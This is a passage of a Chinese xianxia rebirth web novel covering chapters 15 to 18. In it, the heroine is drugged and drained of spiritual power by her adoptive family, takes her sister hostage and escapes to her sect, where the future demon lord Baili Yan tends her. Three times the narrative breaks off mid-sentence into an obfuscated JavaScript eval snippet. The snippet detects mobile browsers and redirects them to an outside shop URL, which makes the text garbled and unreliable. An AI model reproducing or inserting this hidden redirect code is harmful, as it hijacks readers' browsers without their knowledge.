“……” 黎清词是真没想到会从他口中听到他说这种话,不过他倒是没说错,他未来确实会功成名就,他的名还大着呢,让三界都闻风丧胆的魔界尊主。 黎清词道:“你是认真的吗?我嫁于别人,那就是别人的妻子了,说不定还跟别人有了孩子,你功成名就了多的是好女子供你挑选,你还会倾心于我,会来找我?” 百里衍对着她的目光,极认真回答,“我不介意,你若愿意,我会用尽一切办法将你夺过来。” “……” 和百里衍生活了那么些年,黎清词很多时候都看不明白这个人的想法,原来那些让她不理解的想法,在百里衍年少时就有了。 年少的百里衍和未来的大魔王百里衍有许多不同之处,可终究还是同一个人,他们身上同样有着她无法理解的想法也不奇怪。 黎清词道:“到时候我真抛下一切被你夺走,你就不怕有辱我身份了?” “那时我若功成名就,自然有能耐让多嘴之人闭嘴。” 黎清词表示赞同,成了魔尊,他的所作所为谁敢妄议啊,他一个响指便能灭掉仙门一个门派,夺人妻这事儿已经算他仁慈了。 “你真这样想?”黎清词还是不敢相信。 “这是目前我能想到的最好办法。”百里衍表情郑重。 他是认真的。 “这事儿以后再说吧。”反正她知道她是绝不可能嫁给梁靖安的,“对了,你今日找我何事?” 百里衍这才想起是来跟她告别的,他道:“我伤好得差不多,不好再继续住这里,也该下山了。” 黎清词点点头,他并不是洪都门之人,留他这里是门主心善,让他暂时住这里养伤。 “你有住的地方吗?” “我打算在山下暂时找个地方落脚,好为开春洪都门入学试炼做准备。” “也行。”黎清词担忧看了他一眼,“你有把握吗?” 如今的百里衍远没有未来那么强大,洪都门的入学试炼是很难的。 “嗯。” 他没有第二选择,拼了命也得过。 “那行,我送你下山。” “不用,送我到山门便可。” “等你安顿好了,写信告诉我你的落脚点。” “好。” 分别虽有些不舍,不过他就住山下,倒也算方便。在门口送百里衍下山,黎清词这才回去,刚走到如意轩门口就见秦朱玉从里面出来,见到她冲她道:“我正要出去找你呢你就回来了。” “找我做什么?” “不是我找你,我帮远和师兄找的,远和师兄说找你有急事。” 听到这话黎清词有些不安,不知是不是远和师兄按照药方炼药时出了什么差错。黎清词便急忙赶到医修堂陆远和所住的小院。 推门进去,却见陆远和神情自然,不见忧虑,见到她,冲她招招手,随后指着旁边一个匣子冲她道:“你要的丹药我帮你炼制出来了。” 黎清词心头一喜,原本还担心出什么岔子呢,没想到这么顺利就炼制出了。 黎清词接过丹药连连道谢,“师兄你太厉害了,你比虚怀谷的医修都还厉害。” “少来这套。”陆远和说完,神情多了几分肃穆,“这药你可不能随便使用。” “我知道,我有分寸的。” 春节洪都门有沐休,黎清词自然也是要回黎家的。先去正堂拜见了父母,寒暄过后黎清词又去见黎怀婉,在路过后院时,黎清词注意到后院的砖块翻动过,翻动得不着痕迹,可黎清词因为前世的经历,对一切都极为敏锐。 黎清词心下疑惑,前世她曾被拖进暗室,那暗室的入口便是在后院,平日里以阵法封住,只是寻常的一块平地,让人看不出端倪,只有开启阵法才能打开暗室入口。 砖块有翻动过的痕迹,证明近期有人开启过阵法,前世黎清词在被拖入暗室之前都不知道这里还有一间暗 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黎清词出门之后确定无人跟踪,想来她这次出门并未引起黎家夫妻怀疑。黎清词直接去了某家客栈,客栈的房间名称取得挺雅,黎清词很快找到了那叫“修竹”的房间。 百里衍下山落脚之后便与黎清词写信告知落脚点,他暂时住在某家客栈里。黎清词敲了敲门无人应,想着百里衍可能出门了,不过房门也没上锁,应该走得不远。黎清词便打算去房里等。推开门才看到百里衍坐在床上打坐,从神情来看是入定了。 不过黎清词发现不对劲,百里衍的神情很奇怪,似乎很难受。 百里衍入定之后再次被那种异物入侵的拉扯感困扰,神魂像是被什么东西拉扯着一样,有一股强大的力量试图侵入他的身体。这种感觉已经出现过一次了,那日受伤逃到岐山时,这种感觉第一次出现,后来他脑海有短暂的空白,再醒来时就看到了清清。 “你是何人?”百里衍进入神识之中看到那片多出的黑影后便沉声问。 黑影遮天蔽日,冷气四溢,那人用一种暗沉恐怖的语气说,“我是你。” 里衍自然不信,“何处来的邪修,竟敢谎称是我,你意欲何为!?” 邪修的修炼方式千奇百怪,百里衍便以为此番要入侵他神识的人是邪修。 “我说了我是你。” “你浑身邪气怎的是我?” 他低沉轻笑,百里衍又问:“你究竟想做什么?” “我来帮你杀个人。” “你要杀谁?” “黎清词。” 百里衍顿时沉声吼道,“你休要伤害清清!” “清清?你唤她清清?” “你有什么便冲我来,你休要伤害她!” 那团黑影似乎变更浓了,汇聚在他身边,一股强大的力量开始挤压他。百里衍生怕被他占了神志做出伤害黎清词的事情,急忙将全身灵力汇聚到神识之中来抵抗。 神魂顿时传来一股绞痛,百里衍却丝毫不退缩,大叫着。 “滚!” “给我滚!” 黎清词看到百里衍表情越来越痛苦,急忙上前叫醒他。 “阿衍,阿衍你快醒来。” 百里衍骤然睁开眼,一双眼睛红得像是要滴血,黎清词被吓了一跳。 有那么一刻,黎清词似乎从这双眼睛里看到了未来那骇人的大魔头。 16.第 16 章 “清清?”百里衍神志回笼,目光诧异看向眼前人,意识到眼前是真人不再是自己的幻觉,诧异的目光多了几分喜悦,“你什么时候来的?” “来了一会儿了,你怎么了?你方才在叫谁滚?” “我不是叫你。”百里衍急忙解释,“我……打坐时岔了气。” 百里衍也没跟她说邪修的事情,怕她害怕。 “那现在没事了吧?” “没事了。”目光隐隐透着期待看向她,“你怎么来找我了?” “我来找你想求你帮个忙。”时间紧迫黎清词便直接说明来意。 “你说。” “我想要你的血。” “要多少?” 他几乎没有犹豫的询问倒是让黎清词愣了愣,本来她还想着她该怎么解释她突然要他的血,毕竟要人血这事儿怎么听都诡异。 “你都不问我拿你的血干什么吗?” “你想要,那自然是有用的。” “……” “你要多少?” 黎清词心情有些复杂,“一滴就好。” 便见百里衍手掌一翻,手心多了一把刀子,黎清词便也拿出那药丸,“血滴在这上面。” 他依旧是什么都没问,他握着刀子就要向手心割去,黎清词正要说别割太狠了,一滴就行,他已利落手起刀落,在手心割出一条口子,便见一股鲜血涌出,滴了几滴在药丸上。 “好了够了。”黎清词收起药丸,也顾不得多想,急忙拉过他的手,将灵力汇聚在掌心为他疗愈伤口。 不过黎清词毕竟不是医修,她的灵气没法将他伤口完全愈合,只能暂时为他止住血,让伤口稍稍修复一些。 黎清词做完这些,翻开他的手心看,她有些气,“我只要你一滴血,你怎得划这么长一条伤?” 百里衍此刻哪里还在意什么伤口,掌心上似乎还残留着方才被她握着时那柔软温热的触感,此刻她的手还握住他的,这只手仿若不是自己的,有些麻,动不了。 “没事,我很糙,好的快的。” “……” 这会儿时辰不早了,黎清词也不好久呆,“我先走了,空了再来看你。” “好。” 百里衍收回手,下意识背于身后,手指依旧有些麻,半天才能动动。黎清词离开,百里衍神情有些空茫坐在床上,人都已经不在了,可手上残留的温热依旧搅得他心神不宁。 想到方才那邪修,他面色不禁凝重了几分,他究竟是什么来头,为何要杀清清。他说他是他,怎么可能?他身上那铺天盖地的邪气,怎么可能是他? 可百里衍下意识看了一眼自己的掌心,他骤然想到那些曾出现在他脑海中让他骇然的想法。 比如,在面对杀戮时那让他陌生的兴奋感,比如在听到梁靖安说到他和黎清词有婚约时突然出现的可怕想法,想将他大卸八块,想将他的头拧下来踩在脚下。再比如那日他很想问清清是否也倾心于他,可他没问,因为都不重要,不管她是出于什么靠近他对他好。是有那么一点喜欢他,或者只是将他当成可怜的流浪猫狗都不重要,又或者像他这样得她照顾的人有很多,也无所谓,或逼走,或杀掉,总之以后她身边只会留下他一人的。 作为正道之人,这些想法都太过邪恶,或者那邪修真的是他? 不,百里衍摇头,那邪修要杀掉清清,他无论想法有多骇然都不可能有伤害清清的念头,那不是他! 他怎会有那般重的邪气,即便有多骇然的想法,可他终究是正道之人,论迹不论心,更何况他又怎会伤害清清? 黎清词回到家中,才刚在房中坐下就听到敲门声,黎清词开了门,门口站着一脸慈祥的老嬷嬷,嬷嬷手上端了一碗药,笑道:“夫人叫厨房特意熬制的药,这次多加了一味药材,说是对修炼极有帮助的,小姐趁热喝了吧。” 黎清词端过药,放到鼻端时闻到一股熟悉的味道,前世她在被拖入暗室前,嬷嬷也曾端了药给她喝,喝完之后她便感觉浑身无力,神识也开始混乱。 看样子他们真的要提前行动了,黎清词来不及多想为何他们会提前行动,只是庆幸还好自己谨慎该准备的都准备得差不多了。 收好思绪,她当着嬷嬷的面将药饮尽,嬷嬷这才放了心,端着药碗离开。直到听到她脚步声走远,黎清词才走到床边,轻轻推开窗户,按下喉头穴位,将药全吐出去。 大约半个时辰之后,黎清词的房门被推开,黎家夫妻与嬷嬷一同进来。薛秋蝉冲嬷嬷使了个眼色,嬷嬷走上前推了推黎清词,“二小姐,二小姐怎得在这里睡?” 此刻黎清词趴在桌上,被推搡着她迷迷糊糊醒来,望着屋子里的几人,“爹娘你们怎么来了。”试探着要起身行礼,身体一软却又坐回去,“我……我身体好软,头好痛。” 黎晋书点点头,“看样子起效了,将她带走。” 黎晋书话落,他身后走出两个粗使丫头,一人一边将黎清词架起来,黎清词故作不知,开始演,“爹娘,你们要将我带到哪儿?” 走在前方的黎晋书和薛秋蝉没应,黎清词又看向嬷嬷,“嬷嬷?究竟怎么回事?爹娘为什么不理我?” 嬷嬷避开她的目光,叹了口气。 黎清词被带到后院,却见黎晋书以太极步法出步,弓步,摆脚,收腿,一边运气使力,分别踩在不同的砖块上,以此来开启阵法。 最后收腿气沉丹田,却见后院正中央的砖块闪过一阵金光后便破出一个水井口大小的洞来。洞内有一下行的梯子,黎家夫妻先一步走进去,黎清词被人架着跟上。 穿过幽深逼仄的入口之后,暗室内顿时豁然开朗,下面有一巨大的空间,里面摆放着石桌石椅,黎清词故作疑惑,询问:“爹娘,这里是哪儿?你们为何带我来此啊?” 自然是没人回答她的,黎清词被带到石椅上坐下,两个丫头有用绳子将她捆住,做完这一切这才离开,只听得那入口处又传来脚步声,黎清词看过去,是魏无机走了进来。 “师长?你怎得也在此?” 薛秋蝉似乎有些等不及了,冲魏无机道:“魏师长,何时开始?” 魏无机淡淡看了黎清词一眼,说道:“把你家大小姐抬进来。” 薛秋蝉一喜,急忙名人将黎怀婉带过来,黎怀婉是被人连椅子一起抬进来的,她这副身体太差,连行动也极为不便。 此刻黎清词看着眼前几人只觉得可笑,可想到前世,自己不明所以被带到这里,眼前是一向疼爱自己的爹娘和姐姐,是她最亲近的家人,还有她最敬爱的师长。她被绑着,看着他们说着自己听不懂的话,根本没想到那时她已是刀俎上的鱼肉。 然而黎清词却故作不知,继续演戏,“爹娘,师长,姐姐,究竟怎么回事啊?为什么把我绑起来?” 无人对她解释,也无人在意她,薛秋蝉甚至不停催促,“魏师长,何时开始?” 魏无机从怀中拿出一颗珠子,这珠子大概食指指尖大小,珠子叫聚灵珠。仙门有许多供修炼的天材地宝,当然也有许多仙门修士不能碰的禁品,这聚灵珠便是其中之一。不过邪修们却喜欢用,然而会用的人也不多。 聚灵珠是用来吸取灵力的,但要催动聚灵珠也不是件易事,需要使用者有一定的法力傍身,不然很有可能被聚灵珠反噬,当然还得会促动的术法,这术法自然也是仙门禁术。 所以前世看到魏无机拿出这枚珠子时,黎清词是诧异的,师长为人正派,手上怎么会有禁品,而那时她还不知道这珠子是要用在她身上。 在猜到他们会提前动手之后黎清词便服下那枚药丸,这药丸是按照魔族禁药的方子制作。前世她偷吃魔族禁药时也偷偷记下了方子,她清楚陆远和的为人,他既然答应做,肯定就是按照方子做的。 这药丸能在一定的时效之内让人法力大增,不过药丸的时效只有一天。只有一天的时效达不到黎清词想要的效果,所以她需要增强药效,而百里衍的血就有很好的效果。前世百里衍便是以他血入药才让黎清词这具快要油尽灯枯的身体死灰复燃。 虽然年少的百里衍还不是未来的大魔头,可他们的血是一样的,她想,用少年百里衍的血同样有用,就算不增加,一天时间也差不多了,当然药效增强了对她来说也是好事。 在黎清词被带到暗室之前,她已将气汇聚于内丹之中,又锁住全身经脉,以防灵气流泻而出,当然要让药效发挥只用,还是得放些灵气出来,不用太多,药效自会让流出的灵气暴涨。 可那暴涨出的灵气终究是因为药效作用,待药效一过便自然消散,到时黎怀婉便会体验到得而复失的痛苦。 黎家夫妻急不可耐,他们花费了这么多年的心血就为了这一天,黎怀婉马上就可以像正常人一样,光耀门楣指日可待。 而黎怀婉呢,当了这么多年废人,终于不用困在那一亩三分地,那因为常年病弱而灰白的眸子隐隐透出光。 魏无机倒是气定神闲,以指甲划破黎清词的指尖,滴了一滴血在聚灵珠上,那聚灵珠顿时如枯木逢春般,五彩的光在体内闪烁,有什么东西在蠢蠢欲动。魏无机便用法术催动凝聚株,那聚灵珠便循着鲜血的味道,开始一点点吸食黎清词身上的灵力。 虽已锁住自己的灵气,不过被圣药暴涨出的灵力从她身上吸走时她依旧有些难受,倒也不用她演。 这凝聚株像是饿了几百年似的,没一会儿便将黎清词体内的灵力吸食殆尽。魏无机便将它收起,扔向黎晋书方向。 黎晋书吓了一跳,急忙伸手接过,这东西竟被他这么直接扔过来,有些不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050803|194478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虞看了一眼魏无机,这才将灵珠喂到黎怀婉口中。 灵珠入肚,身体很快被胃腐蚀,自然裂开,被它吸食的灵力便也四散开,在黎怀婉身体里扩散,黎怀婉开始有些难受,可慢慢的适应之后便觉得神清气爽。 “怎么样了婉儿?”薛秋蝉一脸担忧问道。 黎怀婉没回答,而是下意识看了一眼自己的双手,随后试探着用手撑着椅子,随后慢慢站起身,黎怀婉顿时一脸欣喜,“我能站起来了。”试着走动,不再走一步便摔一步,能行动自如。 黎怀婉激动得差点哭出来,当了这么多年的废人,如今终于可以正常走路,往后自然是想去哪里便去哪里。 随后她便又尝试着控制浑身灵力,聚气于指尖,抬手一弹,便见一股巨大的力道自指间探出,在不远处的墙壁上划下一道痕。 黎怀婉更是激动,“我有灵气了,我能做修士了。” 薛秋蝉握住她的手,耗费了这么多年的心力,心疼了这么多年的孩子,终于可以如正常孩子那么生活了,不仅如此她有了灵气傍身,还可以修炼,能做修士,能为强者。 薛秋蝉也是满眼泪,看着女儿这样,她也高兴。 黎晋书也被这一幕感动,感慨道:“我儿以后不用再吃苦了。” 似乎已经没人在意那被吸走了灵力半生不死的黎清词,直到一家人终于从喜悦中回神,薛秋蝉看向黎清词问道:“此人该如何处置?” 黎晋书说道:“得废了她的灵根,不得让她卷土重来。” 听到这话,就连魏无机都愣了一下,不过他该做的事情已经做完了,剩下的是他们黎家的家务事与他无关。 事情还没完,所以黎清词还得演,此刻她身体孱弱,目光迷离看向父母和姐姐,不断询问,“爹娘,姐姐,这究竟是怎么回事啊?为什么?我不懂为什么。” 薛秋蝉道:“我们不是你爹娘,你也不是我们的女儿。你是我从你凡人父母手中十个铜板买来的,因你身上有灵根,又与婉儿出生的时辰一样便将你买了做我婉儿的器皿。” 前世,她听到薛秋蝉这话时,是惊愕的,看着眼前面色冷漠的女人,哪里还有平日里慈爱的模样。而器皿她在书上看到过,有些修仙世家,身体不济的,确实会养器皿帮助修炼。 那时她感慨这法子的残忍,却没想到原来自己也会成为器皿。 经历过一世,此刻她的心态平静了许多。 “这么会这样?怎么会这样呢?”她依旧还在继续演,眼泪滚落下来,“我不信,爹娘姐姐,你们怎会这般对我?” 薛秋蝉皱眉,不知想到什么,她对黎晋书说道:“赶紧将她灵根废了撵出去吧,省的夜长梦多。” 黎晋书点点头正要动手,黎怀婉道:“爹爹,让我来。” “你的身体才好转……” “没事,她已是废人,威胁不了我的,她是我的器皿,也该由我亲手处置她。” 黎晋书点点头,想来他们都在这里,也不会出什么事。 而黎清词等着的就是这一刻,前世她是被黎怀婉亲手废掉灵根的。 黎怀婉走到黎清词面前,就像以往许多次那样,黎清词去探望她,她长年坐于椅子上,黎清词每次去都会蹲在她跟前。然而此刻位置调换,是黎怀婉蹲在她跟前。 她冲黎清词笑了笑,“往常你同我说你们门内发生的事情,我听得好生羡慕。你能穿漂亮的裙子出门逛街,你能结交那么多朋友,去那么多地方。你每说一次,我便在想我究竟什么时候才能像你一样可以修炼,可以逛街,可以结交朋友。而现在,我就快要实现了。” 她笑容清婉,就好像她每次面对她时那样,带着长姐的慈爱,“你看你在我家这么多年,我们家待你也不薄,给你吃好的穿好的,让你当了这么多年的黎家小姐。你爹娘十个铜板就能卖掉你,想来也不是什么好人家,你若是在你家中长大,怕是连吃都吃不饱。最起码你还能风风光光过了这么多年不是吗?” 前世黎怀婉也说过同样的话,以往她以为她跟黎怀婉分享自己的经历,可以让姐姐解闷,却没想到却是让她心怀嫉妒,那么她讲到跟梁靖安之事时,黎怀婉又是怎么想的呢,是不是想当场杀了她? 她以为的姐妹情深,以为分享自己的生活能让姐姐开心,却是一次次积累她对她的怨恨,所以这才要亲手废掉她的灵根。 亲手让她从天之骄女坠落,以此才能化解她心头的怨气。 可往往败事,就是缘于话多,在场这几人,黎清词都奈何不了,唯有黎怀婉。此刻锁住的经脉她已解开,这些绳子自然也绑不住她。 无人看清事情究竟是怎么发生的,也无人知道为何被吸走灵气的黎清词还能反抗,总之众人回过神来时,黎清词的手已经扣住了黎怀婉的脖子。 17.第 17 章 众人大惊失色,黎晋书看向魏无机,“怎么回事?她身上为何还有灵气?” 魏无机也不知道,聚灵珠贪吃,灵气不吃完是不罢休的。 黎怀婉想要使力,奈何脖子被黎清词紧紧扣住,黎清词察觉到她使力便多扣紧一分,搞不好力还没使出来人便已经被她掐死了。 薛秋蝉一脸担忧,“怎么办?” 黎晋书厉声冲黎清词道:“小词,快放开你姐姐,你在做什么?我们怎么教你的,你竟以下犯上?” 戏已经演完了,黎清词也懒得跟他们废话,她冷笑道:“老东西,你们是怎么对我的?怎么还有脸说什么以下犯上?” 虽然他们是将黎清词当器皿不假,不过黎清词自来乖巧,此刻却叫着老东西,脸上全然没有敬意,这将黎家夫妻都惊到了。 魏无机想找机会暗中出手,不过被黎清词识破,她道:“都别靠近,你们要出手最好能一下打死我,不然我死之前定也会拉着她陪葬的。” 黎晋书已经来不及惊愕了,他急忙冲魏无机道:“师长莫要动手。” 魏无机便也能收起动作。 黎清词便以黎怀婉做盾,一点点往后退,从狭窄的楼梯警惕着走上去,黎家夫妻生怕黎怀婉有个三长两短,也一步步跟着,却也保持距离,不敢靠太近。 “小词,小词你不可伤到你姐姐啊。” 薛秋蝉一边说一边流泪,看着倒不像演的,是真担心黎怀婉有个三长两短。 “让我走,我安全离开自会留她一条命。” 此刻黎清词已带着黎怀婉走出了那暗室,走到暗室入口的黎晋书暂停了脚步,也挡住了身后要跟来的两人。 “我放你走,你不可伤害婉儿。马厩里有马,你自去取。” 黎清词带着黎怀婉往马厩里走,黎晋书没再跟来,薛秋蝉要跟,黎晋书拦住她,薛秋蝉道:“婉儿在她手里呢!” “让她走。”黎晋书依旧道。 薛秋蝉心中担忧,此刻却也没办法。 黎清词去马厩取了马,钳制着黎怀婉上了马背,便骑着马出了黎府。 黎怀婉以为落到她手中自己是死路一条,毕竟都已经撕破了脸,已经没有情谊可言,不过她还是好奇,“为何你身上还有灵力?” 黎清词一声冷笑,“我为什么要告诉你?” “所以,你要杀了我吗?” “不,我不杀你。” 听到这话黎怀婉不禁疑惑起来,“那你要带我去何处?” 黎清词见差不多了,便伸脚一踹,黎怀婉便被她踹下马背,马却没停,急急向前奔去。 直到来到云山脚下,黎清词才弃了马上山。 她如今还是洪都门的学子,她进了云山,黎家夫妻便不敢上来拿她。 春节沐休,学子们都已归家,不过山门依旧有留守的守卫把守着,黎清词拿出身份通牒,守卫放她进去。 黎清词直接去了医修堂,虽然黎清词已经及时护住内丹又锁住灵力,可终究还是受了些影响。 那聚灵丹的威力确实大,此刻能安全逃出黎府已经是她身体的极限。她知道陆远和还留在门内。 陆远和无亲无故也无处可去,因他医术不错,门内便专门给了他一间小院居住。 果然不出所料,陆远和院子里还亮着灯,黎清词直接推门进去,还没来得及说话便摔倒在地。 陆远和听到动静出门查看,看到她,快步走到跟前,先探了一下她的鼻息和脉搏,随后说道:“得罪了。” 他将她打横抱起抱进屋内,又给她服了一颗丹药,黎清词这才醒来。不过身体还是有些难受,“多谢师兄,相,救。” “你服了那药?”陆远和一脸凝重问她。 “嗯。” “我不是说过不能乱用吗?” “我没有乱用,若没有那颗药,我恐怕已经成废人了。” “发生何事了?” 事情太复杂,她这会儿没力气说话,便道:“改日再说。” 她身体状况不太好,陆远和便也没多问,他道:“你先休息。” 陆远和这里只有一间房,黎清词睡了床,他便只能去外间,黎清词有些过意不去,“改日给师兄送些好东西道谢。” “你能活着该谢天谢地,别谢我。” 黎清词笑了笑,后来发生什么她便记不得了。再醒来时已是第二日,黎清词身体好了些,陆远和端了药给她喝,黎清词才喝了两口便听到敲门声。 黎清词眉头一皱,生怕是黎家人找上山来,陆远和将她表情收进眼中却没多问,只道:“我去看看是谁。” 来人却不是黎家人,站在门口的百里衍一脸担忧,见到陆远和,也来不及多礼,问道:“你是陆远和陆师兄吧?黎清词可在这里?” 陆远和目光在他身上停留了片刻,随后侧身说道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054831|194478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她在里面。” 听到这话一股复杂神色在百里衍脸上一闪而过,不过他没多说什么,直接走了进去,进了里间便看到黎清词躺在床上,从床那不太讲究的布置来看,这是一张男人的床。 百里衍压下眼底的一抹复杂,此刻看到黎清词安然无恙他松了口气。 “你怎么来这儿了?”黎清词一脸疑惑问道。 “我今早起来听说了一件事,我怕你出事便到处找你,直到找到这里。” “何事?” 原来是黎家对外公告,次女黎清词以下犯上,忤逆父母,重伤亲姐,黎家夫妻悲痛愤怒之下,故而将次女黎清词逐出家门,黎家也不再认此女。 这倒是在黎清词的意料之中,前世也是如此,明明是他们夺走她的灵力,毁了她灵根,再将她像个废物一样扫地出门,却说她以下犯上,忤逆父母,对亲姐不敬,将她逐出家门不认她。 “你家中发生何事了?”百里衍问道。 “我没有重伤亲姐,是我们绑了我,要将我灵力给我姐姐,我拼死反抗,好不容易才逃出来。” 百里衍听到这话面色顿时凝重下来,在外间的陆远和也皱了皱眉。 “你父母竟这般对你?” “他们也不是我父母,我只是个器皿,黎怀婉才是他们的亲生女儿。可黎怀婉体弱多病,身子骨太差没法修炼,所以他们就养了个器皿助她修炼。” 百里衍听到这话许久无言,可让他意外的是,黎清词说这些话时面色极为平静,就好像在说别人的事情。 “所以,阿衍,我并不是黎家之女,我只是黎家夫妻从一对凡人夫妻手中以十个铜板买来的,我连我爹娘是谁都不知道。” 她曾听百里衍提到过,那日上元节,在苏城有一面之缘,那时她坐于精致的画舫上,身边还有爹娘相伴。 从百里衍的形容来看,那时的她光鲜亮丽让他过目不忘。 可现在,她并不是天之骄女,也不再光鲜亮丽,她的身份卑微得不能再卑微了。前世百里衍虽将她带到身边好好照顾,可也不知年少的百里衍得知她并不是天之骄女会不会失落。 然而出乎她意料的是,百里衍一开口却说道:“你不要难过,我会杀了他们的。” 百里衍说出这话时,表情并不郑重,就好像只是随口吐露他心中所想。百里衍出口之后才回过味来,他脑海中常有些骇人的想法,此刻竟不自觉说出口。 18.第 18 章 他和清清同为仙门,仙门之人该有仁爱之念,怎可轻易就动杀心。所以百里衍眼神多了几分担忧向她看去。 不过黎清词的表情并没有多大变化,她道:“不要,我自己的仇我要自己报,你不要插手。” 百里衍沉默片刻,暗中松了一口气,乖巧应道:“好。” 百里衍扫了一眼周围,这是陆远和住的地方,黎清词住这里不太方便,他便道:“我带你回如意轩吧?” 黎清词本来也想回如意轩住的,听到这话正和她意,陆远和走进来道:“她的身体还没完全恢复,还需喝几日的药,如意轩离这里远,我可不想每天跑来跑去送药。” 这是希望黎清词留在这里治疗?不知道陆远和具体什么意思,但百里衍是这样理解的。 百里衍面上倒还是和气笑了笑说道:“我不是还在这里吗?我不嫌麻烦,由我送药就行。” 陆远和便也没再说什么,黎清词这样起身下床,百里衍见状说道:“你身体不便,我帮你。” 黎清词以为他说的帮是帮她下床,不想他竟走过来直接将她打横抱起,抱着她出了房间,路过陆远和身边时,似想到什么,百里衍笑容客气,特意跟陆远和道了声:“陆师兄,先告辞了。” 陆远和淡淡扫了他一眼,点头,“嗯。” 百里衍抖了抖黎清词身体,将她抱得更紧些,这才抱着她离开。 就这般一路抱着她去了如意轩,中途黎清词想下来自己走也被他拒绝。如意轩,一个小院带两个房间,一个是黎清词的,一个是秦朱玉的,春节沐休,秦朱玉自是不在的。黎清词冲他指了某间房,“这里。” 百里衍抱着她进去,将她放在床上。 “你好好休息,在你好之前,我负责给你送药。” 黎清词点点头,想到什么,问道:“你住哪儿?” “我去陆师兄那边将就一下,我想陆师兄也不至于那么小气不让我住。” 黎清词想想也行,不知道为什么,有百里衍在身边,她总觉得安全些。 药是早晚服,百里衍来回两趟,晚间便去陆远和那边,白日里黎清词喝完药休息他就打坐修炼,他还得为洪都门入学试炼做准备。 药端来,百里衍将黎清词扶起坐在床头,舀了一勺药递她嘴边。身体虽有不虞,倒也不至于手脚全废,其实她也可以自己喝的。 但百里衍显然也乐意照顾她,前世他也是这样,端来药,亲自喂她。她总会调侃,“怎敢劳魔尊大驾?” 而他则是干脆利落丢来一句,“喝。” 也不知是不是嫌她废话多。 持续喂了她许久许久的药,后来她知道他拿自己的血做引。黎清词便不想再喝药,可她得找个立得住脚的理由,不仅能让百里衍停止给她喂药,最好也能让百里衍放弃救她。 所以,那一次百里衍端了药来她跟前,照常舀了一勺递她嘴边时,她将脸偏到一边。 “怎么了?”他问。 “我累了。”黎清词说道。 “喝完便休息。” 黎清词望着他那有些苍白的面色,不知这次又放了多少心头血。她实在不忍心看,可是话却还是要说。 “我累了百里衍。” 她连名带姓叫他,让他的目光多了几分疑惑,她为何没有再叫他阿衍。 黎清词调整了一下呼吸,转头看向他,一脸嘲讽的笑,“我累了,我受不了病痛的折磨,我知道我快死了,在死之前有些话我不吐不快。” 他没应声,也不知是因为放多了心头血身体太疲惫让他提不起气追问,还是他没兴趣听她究竟想要说什么,他只是静静看着她。 黎清词继续说道:“你可知,我自小生长在仙门,在我的认知里,魔族是异类,是最低劣肮脏的存在,魔族修炼的功法也是最不入流的,比邪修还不如。仙门就该以除魔卫道为己任,可我竟委身于魔。如若不是因为报仇,我又怎么可能会靠近你?我现在大仇得报,我也知我快要死了,在死之前再也不想同你演戏了,和你呆在一起的每时每刻都让人极其不舒服,你以后也不要出现在我面前,我不想再看到你,也不想再被你搭救。在生命的最后时刻,我希望我还能留存仙门之人的一点傲骨,不再接受魔的任何恩惠。” 黎清词也不知道究竟用了多大的力气才说出这些话,说完,喉间涌出一股痒意,被她硬生生压下去。 百里衍许久不言,那有些苍白的面色竟让大魔头原本危险的面容多了几分沧桑感,像一头失去了爪子的兽,可百里衍不该是这样的,他就该是锋利的,该是光芒万丈的。 周围陷入一种可怕的沉默,即便身体虚弱,可自他周身流泻出的冷意依旧让黎清词难以招架。 也不知道过了多久,他终于开口,语气很淡很淡,“你说的可是真?” “嗯。” “你一直在同我演戏?” “嗯。” “也都是虚情假意?” “嗯。” 再次沉默,他道:“知道了。” 随后又舀了一勺药递过来,此举完全在黎清词意料之外,他该摔门而出,或者该直接杀了她。 不该是这样,一句“知道了”然后继续喂她药。 不该是这样的阿衍,是你魔尊,你是大魔头,我欺你辱你,你怎得还要救我呢? 双眼不自觉发红,黎清词强行克制着眼泪,她将脸偏向一边,放在被子下面的双手紧得仿若要嵌进肉里。 “我说了,我不想再得你救治,为了报仇,我已做了委身于魔的事情,那于我来说毫无尊严,而我现在只想有尊严死去,我不会再吃魔族的东西也不会再吃魔族的药。哪怕死我也不想死在魔族,你可将我丢去仙门地界,仙门哪里都好,我死也要死在仙门,死在山清水秀的地方,这里荒凉又难看,我不想死在这里,在这里的每一天对我来说都是折磨。” 所以阿衍,把我丢掉吧,让我自生自灭。 “折磨?”他突然轻笑一声,黎清词无法理解他这一声笑中究竟藏着什么意思,可莫名让人心底发颤,“你可知真正的折磨是什么样的?你可知你同我说这些话会有怎样的后果?” 我不想知道阿衍,你杀了我也好,我再也不想做你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17057424|194478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负担,我也不值得你以命救我。 